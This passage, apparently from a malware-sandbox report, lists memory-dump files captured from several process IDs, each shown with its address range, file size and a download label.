
                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-139-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-145-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-144-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-143-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-142-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-185-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-140-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-138-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-137-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-133-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-136-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-135-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-134-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-132-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-131-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-161-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-129-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2772-128-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/2928-202-0x0000000077710000-0x000000007789E000-memory.dmp

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      Download

                                                                                    • memory/3372-220-0x0000023EFF440000-0x0000023EFF462000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                      Download